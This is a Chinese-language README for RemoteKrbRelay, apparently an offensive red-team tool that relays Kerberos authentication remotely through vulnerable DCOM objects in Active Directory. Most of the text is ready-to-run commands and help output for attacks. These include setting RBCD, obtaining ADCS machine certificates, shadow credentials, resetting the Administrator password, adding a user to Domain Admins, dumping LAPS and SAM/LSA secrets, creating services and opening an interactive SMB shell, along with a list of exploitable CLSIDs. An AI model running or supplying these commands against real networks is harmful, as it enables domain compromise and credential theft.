/\_/\____,
,___/\_/\ \ ~ /
\ ~ \ ) XXX
XXX / /\_/\___,
\o-o/-o-o/ ~ /
) / \ XXX
_| / \ \_/
,-/ _ \_/ \
/ ( /____,__| )
( |_ ( ) \) _|
_/ _) \ \__/ (_
(,-(,(,(,/ \,),),)
CICADA8 研究团队
来自 Michael Zhmaylo (MzHmO)
你可能知道 KrbRelay 和 KrbRelayUp,但如果我告诉你它也可以远程实现呢?通过 RemoteKrbRelay,这已成为现实。
更多关于 CertifiedDCOM 的信息请见 这里。CertifiedDCOM 允许你触发 ADCS 机器账户:
# CertifiedDCOM(滥用 AD CS 设置 RBCD)
.\RemoteKrbRelay.exe -rbcd -victim adcs.root.apchi -target dc01.root.apchi -clsid d99e6e74-fc88-11d0-b498-00a0c90312f3 -cn FAKEMACHINE$
# CertifiedDCOM(滥用 ADCS 获取机器证书)
.\RemoteKrbRelay.exe -adcs -template Machine -victim adcs.root.apchi -target dc01.root.apchi -clsid d99e6e74-fc88-11d0-b498-00a0c90312f3
# CertifiedDCOM(通过 ShadowCreds 滥用 ADCS)
.\RemoteKrbRelay.exe -shadowcred -victim adcs.root.apchi -target dc01.root.apchi -clsid d99e6e74-fc88-11d0-b498-00a0c90312f3 -forceshadowcred
还有 SilverPotato 漏洞。你可以用它来滥用会话。包括第三方主机上的域管理员会话。
# 更改用户密码
.\RemoteKrbRelay.exe -chp -victim dc01.root.apchi -target dc01.root.apchi -clsid f87b28f1-da9a-4f35-8ec0-800efcf26b83 -chpuser Administrator -chppass Lolkekcheb123! -secure
# 将用户添加到组
.\RemoteKrbRelay.exe -addgroupmember -victim computer.root.apchi -target dc01.root.apchi -clsid f87b28f1-da9a-4f35-8ec0-800efcf26b83 -group "Domain Admins" -groupuser petka
# 转储 LAPS 密码
.\RemoteKrbRelay.exe -laps -victim mssql.root.apchi -target dc01.root.apchi -clsid f87b28f1-da9a-4f35-8ec0-800efcf26b83
# 从中继用户发送 LDAP Whoami 请求
.\RemoteKrbRelay.exe -ldapwhoami -victim win10.root.apchi -target dc01.root.apchi -clsid f87b28f1-da9a-4f35-8ec0-800efcf26b83
# 从另一个会话触发身份验证
.\RemoteKrbRelay.exe -ldapwhoami -victim domainadminhost.root.apchi -target dc01.root.apchi -clsid f87b28f1-da9a-4f35-8ec0-800efcf26b83 -session 1
现在,你面前有四个文件夹:
Checker - 用于检测易受攻击 DCOM 对象的旧版检查器;Checkerv2.0 - 用于检测易受攻击 DCOM 对象的新版检查器;Exploit - RemoteKrbRelay.exe :)FindAvailablePort - 用于在使用漏洞时绕过防火墙的工具。我们从 Checker 开始。你可以用它来检测易受攻击的 DCOM 对象。一个易受攻击的 DCOM 对象可以被认为是:
NT AUTHORITY\LOCAL SERVICE 身份运行,因为它会使用空凭据进行网络身份验证;RemoteLaunch、RemoteActivation 权限。这是 LaunchPermissions;RPC_C_IMP_LEVEL_IDENTIFY 或更高。RPC_C_IMP_LEVEL_IDENTIFY 是默认值;RemoteAccess 权限(或者它们应为空)。这是 AccessPermission。为了便于检测,你可以使用 Checkerv2.0。它支持导出为 csv 和 xlsx 格式。
PS A:\ssd\Share\RemoteKrbRelay\Checkerv2.0\Checkerv2.0\bin\Debug> .\Checkerv2.0.exe -h
/\_/\____, /\ /\
,___/\_/\ \ ~ / \ _____\
\ ~ \ ) XXX (_)-(_)
XXX / /\_/\___, Checkerv2.0 集合
\o-o/-o-o/ ~ /
) / \ XXX
_| / \ \_/
,-/ _ \_/ \
/ ( /____,__| )
( |_ ( ) \) _|
_/ _) \ \__/ (_
(,-(,(,(,/ \,),),)
CICADA8 研究团队
来自 Michael Zhmaylo (MzHmO)
Check.exe
允许你查找易受攻击 DCOM 应用程序的小工具
[选项]
-outfile : 输出文件名
-outformat : 输出格式。接受 'csv' 和 'xlsx'
-showtable : 当表格填充后显示 xlsx 表格
-h/--help : 显示此窗口
示例:
.\Checkerv2.0.exe -outfile win10 -outformat xlsx
你将收到如下输出:

列中将包含 DCOM 对象 CLSID、名称以及 LaunchPermission 和 AccessPermission。

尝试搜索 sppui(CLSID {F87B28F1-DA9A-4F35-8EC0-800EFCF26B83},APPID {0868DC9B-D9A2-4f64-9362-133CEA201299})和 CertSrv Request(CLSID {d99e6e74-fc88-11d0-b498-00a0c90312f3})对象,并理解它们为何易受攻击。
不要使用 Checker,只使用 Checkerv2.0 哦 :3
一个用于发现可部署恶意 DCOM 服务器端口的小工具。详情见 这里(远程 -> 本地 Potato)。

练习使用本地端口的概念。将 RemotePotato0 重写为本地端口。相信我,这很有用。
我在漏洞利用中添加了相当多的不同功能。请注意,它提供了足够的功能来滥用 DCOM 对象。我还在帮助中列出了几个用于滥用的 CLSID。这些 CLSID 是公开已知的,只是之前没有公开的 POC 来滥用它们。易受攻击的 DCOM 对象相当多,使用检查器找出它们全部!
PS A:\ssd\Share\RemoteKrbRelay\Exploit\RemoteKrbRelay\bin\x64\Debug> .\RemoteKrbRelay.exe -h
/\_/\____,
,___/\_/\ \ ~ /
\ ~ \ ) XXX
XXX / /\_/\___,
\o-o/-o-o/ ~ /
) / \ XXX
_| / \ \_/
,-/ _ \_/ \
/ ( /____,__| )
( |_ ( ) \) _|
_/ _) \ \__/ (_
(,-(,(,(,/ \,),),)
CICADA8 研究团队
来自 Michael Zhmaylo (MzHmO)
[帮助面板]
RemoteKrbRelay.exe
通过简单方式中继远程 Kerberos 认证
用法: RemoteKrbRelay.exe [攻击类型] [必需选项] [可选参数] [攻击选项] [开关]
[攻击类型] (必需选择一个!)
-rbcd : 中继到 LDAP 并设置 RBCD
-adcs : 中继到 HTTP 网络注册并获取证书
-smb : 中继到 SMB
-shadowcred : 中继到 LDAP 并设置影子凭据
-chp : 中继到 LDAP 并更改用户密码
-addgroupmember : 中继到 LDAP 并将用户添加到组
-laps : 中继到 LDAP 并提取 LAPS 密码
-ldapwhoami : 中继到 LDAP 并获取有关中继用户的信息
[必需选项]
-target : 中继到该目标
-victim : 中继此计算机
-clsid : 要滥用的目标 CLSID
[可选参数]
-spn : 受害者将使用此 SPN 的票证来连接我们。例如: ldap/dc01.root.apchi - 用于 RBCD 模式的 tkt,http/dc01.root.apchi - 用于 ADCS 模式的 tkt
-d/--domain : 当前(目标)域
-dc/--domaincontoller : 目标 DC
-local : 当前计算机主机名。此主机将出现在 OBJREF 中。
[攻击选项]
[SMB 选项 (中继到 SMB)]
--smbkeyword : 指定 'secrets' 或 'service-add' 或 'interactive'
--servicename : service-add cmdlet。新服务的名称
--servicecmd : service-add cmdlet。服务的命令行
[ADCS 选项 (中继到 HTTP)]
-template : 仅 ADCS 模式。要中继到的模板
[RBCD 选项 (中继到 LDAP)]
-c/--create : 创建新计算机
-cn/--computername : 将写入 msDs-AllowedToActOnBehalfOfOtherIdentity 的计算机名
-cp/--computerpassword : 需要 -c 开关。新计算机的密码
--victimdn : 受害者计算机的 DN
[更改密码选项 (中继到 LDAP)]
-chpuser : 要更改密码的用户名
-chppass : 新密码
[添加组成员选项 (中继到 LDAP)]
-group : 组名
-groupuser : 要添加到组的用户
-groupdn : 目标组 DN
-userdn : 目标用户 DN
[SHADOWCRED 选项 (中继到 LDAP)]
-forceshadowcred : 强制影子凭据
[LAPS 选项 (中继到 LDAP)]
-lapsdevice : 可选参数。要转储 LAPS 的目标计算机主机名
[开关]
-h/--help : 显示帮助
-debug : 显示调试信息
-secure : 使用 SSL 连接 LDAP/HTTP 等
-p/--port : 部署恶意 dcom 服务器的端口
-session : 跨会话激活。在实例化 RunAs 值为 "The Interactive User" 的 COM 对象时有用
-module : 默认为 "System"。用于绕过防火墙
[示例]
[1] 从 adcs.root.apchi (-victim) 触发 kerberos 认证。然后中继到 dc01.root.apchi (-target)。并从 adcs.root.apchi 到 FAKEMACHINE$ (-cn) 设置 RBCD(你可以选择提供 -dc,因为设置 RBCD 需要连接到 DC 上的 LDAP)。结果,你可以通过 RBCD 从 FAKEMACHINE$ 攻陷 adcs.root.apchi。
.\RemoteKrbRelay.exe -rbcd -victim adcs.root.apchi -target dc01.root.apchi -clsid d99e6e74-fc88-11d0-b498-00a0c90312f3 -cn FAKEMACHINE$
[2] 从 dc01.root.apchi (-victim) 触发 krb 认证。然后中继到 win10.root.apchi (-target) 并打开交互式 SMB 控制台。
.\RemoteKrbRelay.exe -smb --smbkeyword interactive -victim dc01.root.apchi -target win10.root.apchi -clsid <IDK CLSID FOR THAT xD>
[3] 从 dc01.root.apchi (-victim) 触发 krb 认证。然后中继到 win10.root.apchi (-target) 并从 win10.root.apchi 转储 SAM/LSA 机密。
.\RemoteKrbRelay.exe -smb --smbkeyword secrets -victim dc01.root.apchi -target win10.root.apchi -clsid <IDK CLSID FOR THAT xD>
[4] 从 dc01.root.apchi (-victim) 触发 krb 认证。然后中继到 win10.root.apchi (-target) 并创建服务。
.\RemoteKrbRelay.exe -smb --smbkeyword service-add --servicename Hello --servicecmd "c:\windows\system32\calc.exe" -victim dc01.root.apchi -target win10.root.apchi -clsid <IDK CLSID FOR THAT xD>
[5] 从 kerberos 中继获取机器证书
.\RemoteKrbRelay.exe -adcs -template Machine -target dc01.root.apchi -victim win10.root.apchi -clsid 90f18417-f0f1-484e-9d3c-59dceee5dbd8
[6] 影子凭据
.\RemoteKrbRelay.exe -shadowcred -victim dc01.root.apchi -target dc01.root.apchi -clsid d99e6e74-fc88-11d0-b498-00a0c90312f3 -forceshadowcred
[7] 更改用户密码
.\RemoteKrbRelay.exe -chp -victim dc01.root.apchi -target dc01.root.apchi -clsid f87b28f1-da9a-4f35-8ec0-800efcf26b83 -chpuser Administrator -chppass Lolkekcheb123! -secure
[9] 转储 LAPS 密码
.\RemoteKrbRelay.exe -laps -victim dc01.root.apchi -target dc01.root.apchi -clsid f87b28f1-da9a-4f35-8ec0-800efcf26b83
[10] 从中继用户发送 LDAP Whoami 请求
.\RemoteKrbRelay.exe -ldapwhoami -victim dc01.root.apchi -target dc01.root.apchi -clsid f87b28f1-da9a-4f35-8ec0-800efcf26b83
[11] 从另一个会话触发认证
.\RemoteKrbRelay.exe -ldapwhoami -victim dc01.root.apchi -target dc01.root.apchi -clsid f87b28f1-da9a-4f35-8ec0-800efcf26b83 -session 1
[?] 有趣的 CLSID 列表
dea794e0-1c1d-4363-b171-98d0b1703586 - 交互式用户。可与 -session 开关一起使用。你必须是 NT AUTHORITY\Interactive
f87b28f1-da9a-4f35-8ec0-800efcf26b83 - 交互式用户。可与 -session 开关一起使用。你必须是 Distributed COM Users 或 Performance Log Users
3ab092c4-de6a-4cd4-be9e-fdacdb05759c - 系统账户。受害者计算机上应安装 AD CS
6d5ad135-1730-4f19-a4eb-3f87e7c976bb - 系统账户。受害者计算机上应安装 AD CS
我建议看看一些攻击:
RBCD - 中继到 LDAP 并设置 RBCD。

HTTP ADCS - 中继到网络注册服务。

ShadowCred - 中继到 LDAP 并设置 ShadowCreds。

将用户添加到组

LDAP Whoami 请求 - 结合 CLSID 暴力破解功能非常方便。你可以找出你触发的是哪个用户。尝试在域中所有机器上的前五个会话中触发。哇,这相当于五分钟内找到域管理员?:)

支持使用 -session 进行跨会话激活:


还有 LAPS、更改用户密码、smb....
视频演示:
.\RemoteKrbRelay.exe -ldapwhoami -victim win10.vostok.street -target dc01.vostok.street -clsid f87b28f1-da9a-4f35-8ec0-800efcf26b83 -local dc011UWhRCAAAAAAAAAAAAAAAAAAAAAAAAAAwbEAYBAAAAA
# 但我还没有实现从初始 OXID 请求的中继。去做吧,兄弟!:)
# dc011UWhRCAAAAAAAAAAAAAAAAAAAAAAAAAAwbEAYBAAAAA <- 这是指向 kali 的 DNS A 记录(感谢 CredMarshalTargetInfo(),因为我可以收到 RPCSS/dc01 的 tkt)
.\RemoteKrbRelay.exe -rbcd -victim win10.vostok.street -target dc01.vostok.street -clsid d99e6e74-fc88-11d0-b498-00a0c90312f3 -spn krbtgt/root.apchi -cn FAKEMACHINE$
这个漏洞相当严重。请注意,这是最低限度的 POC。如果你想在你的红队项目中稳定使用它,你应该对其进行改进。
感谢你们没有发布 CertifiedDCOM 和 SilverPotato 的 POC,我很兴奋能在这些文章上动手做出来 :D